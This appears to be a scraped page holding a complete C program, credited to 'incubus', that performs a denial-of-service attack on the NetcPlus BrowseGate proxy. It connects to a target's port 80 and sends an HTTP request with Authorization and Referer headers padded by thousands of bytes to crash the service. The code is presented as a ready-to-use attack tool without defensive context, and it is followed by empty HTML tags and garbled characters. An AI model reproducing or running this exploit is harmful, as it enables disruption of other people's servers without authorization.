/* * NetcPlus BrowseGate denial of Service * ------------------------------------- * Written quickly for eScx 90 * * grtz to glyc, soph, tessa, entire securax, lamagra & steven, shelloracle ,... * by incubus * */ #include #include #include #include #include #include #include #include int main(int argc, char **argv){ char tessa[32768]; int i, sock, result; struct sockaddr_in name; struct hostent *hostinfo; if (argc < 2){ printf ("\nNetcPlus BrowseGate denial of Service\nby incubus \n\n"); printf ("try %s www.server.com \n\n", argv[0]); exit(0); } hostinfo=gethostbyname(argv[1]); if (!hostinfo){ herror("Oops"); exit(-1); } name.sin_family=AF_INET; name.sin_port=htons(80); name.sin_addr=*(struct in_addr *)hostinfo->h_addr; sock=socket(AF_INET, SOCK_STREAM, 0); if (sock < 0){ herror("Oops"); exit(-1); } result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in)); if (result != 0){ herror("Oops"); exit(-1); } strcpy(tessa,"GET / HTTP/1.0\n"); strcat(tessa,"Authorization: Basic"); for (i=0; i<9000; i++) strcat(tessa, "a"); strcat(tessa, "\nFrom: some@email.com\n"); strcat(tessa, "If-Modified-Since: Sat, 12 Nov 1999 12:34:56 GMT\n"); strcat(tessa, "Referer: http://www.blah.com/"); for (i=0; i<9000; i++) strcat(tessa, "a"); strcat(tessa, "\nUserAgent: Br0wser 666\n\n\n"); send(sock, tessa, sizeof(tessa) , 0); close(sock); printf ("DoS done! :)\n\n"); exit(0); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß